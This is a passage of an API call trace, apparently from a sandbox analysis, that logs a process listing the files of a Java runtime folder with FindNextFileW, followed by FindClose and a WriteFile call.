	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89a2223, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89a2223, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2d640, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpeg.dll", cAlternateFileName="")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4840, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdt.dll", cAlternateFileName="")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsound.dll", cAlternateFileName="")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsoundds.dll", cAlternateFileName="")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x35e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="kcms.dll", cAlternateFileName="")) returned 1
	[0244.596] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="keytool.exe", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="kinit.exe", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="klist.exe", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="ktab.exe", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="lcms.dll", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.dll", cAlternateFileName="MANAGE~1.DLL")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="mlib_image.dll", cAlternateFileName="MLIB_I~1.DLL")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.dll", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="nio.dll", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="npt.dll", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="orbd.exe", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="pack200.exe", cAlternateFileName="")) returned 1
	[0244.597] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin2", cAlternateFileName="")) returned 1
	[0244.598] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1
	[0244.598] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_common.dll", cAlternateFileName="PRISM_~1.DLL")) returned 1
	[0244.598] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_d3d.dll", cAlternateFileName="PRISM_~2.DLL")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_sw.dll", cAlternateFileName="")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.dll", cAlternateFileName="")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="server", cAlternateFileName="")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8ba40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21240, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e440, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1
	[0244.604] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13840, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1
	[0244.605] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1
	[0244.605] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1
	[0244.605] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1
	[0244.605] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ae40, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-64.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1
	[0244.605] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1
	[0244.605] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1
	[0244.605] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df650 | out: lpFindFileData=0xc0001df650*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.605] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0244.607] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df81c, lpOverlapped=0x0) returned 0
